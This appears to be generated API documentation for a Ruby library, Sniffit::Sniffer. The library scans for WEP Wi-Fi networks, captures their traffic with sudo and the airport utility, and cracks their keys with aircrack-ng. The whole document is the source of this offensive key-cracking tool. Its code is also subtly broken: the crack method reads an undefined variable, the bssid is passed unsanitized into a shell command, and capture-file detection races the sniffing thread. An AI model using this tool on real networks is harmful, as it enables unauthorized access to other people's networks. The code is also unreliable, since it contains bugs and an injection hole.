class Sniffit::Sniffer
Attributes
cap_file[R]
networks[R]
Public Class Methods
new()
click to toggle source
Calls superclass method
# File lib/sniffit.rb, line 30 def initialize super @previous_size = 0 end
sniff()
click to toggle source
# File lib/sniffit.rb, line 26 def self.sniff Sniffit::Sniffer.new.start() end
Public Instance Methods
crack(bssid)
click to toggle source
# File lib/sniffit.rb, line 71 def crack(bssid) cracking_output = `aircrack-ng -b #{bssid} /tmp/#{@cap_file}`.strip failed = cracking_output.split("Failed. Next try with").length > 1 return nil if failed return output.split("KEY FOUND! [ ")[1].split(" ").first.strip.gsub(/:/,"") end
find_wep_networks()
click to toggle source
# File lib/sniffit.rb, line 35 def find_wep_networks() networks = `#{AIRPORT_EXECUTABLE} scan | grep WEP`.split(/\n/) networks.map! do |line| parts = line.strip.split(/\s+/) network = Sniffit::Network.new network.ssid = parts[0] network.bssid = parts[1] network.strength = 100+parts[2].to_i network.channel = parts[3] network end return networks end
sniff(network)
click to toggle source
# File lib/sniffit.rb, line 51 def sniff(network) return false if network.is_a?(Network) == false before_cap_files = Dir.entries("/tmp/").select { |filename| filename.include?(".cap") } Thread.new do `sudo #{AIRPORT_EXECUTABLE} sniff #{network.channel}` end after_cap_files = Dir.entries("/tmp/").select { |filename| filename.include?(".cap") } @cap_file = (after_cap_files-before_cap_files).first puts @cap_file return true end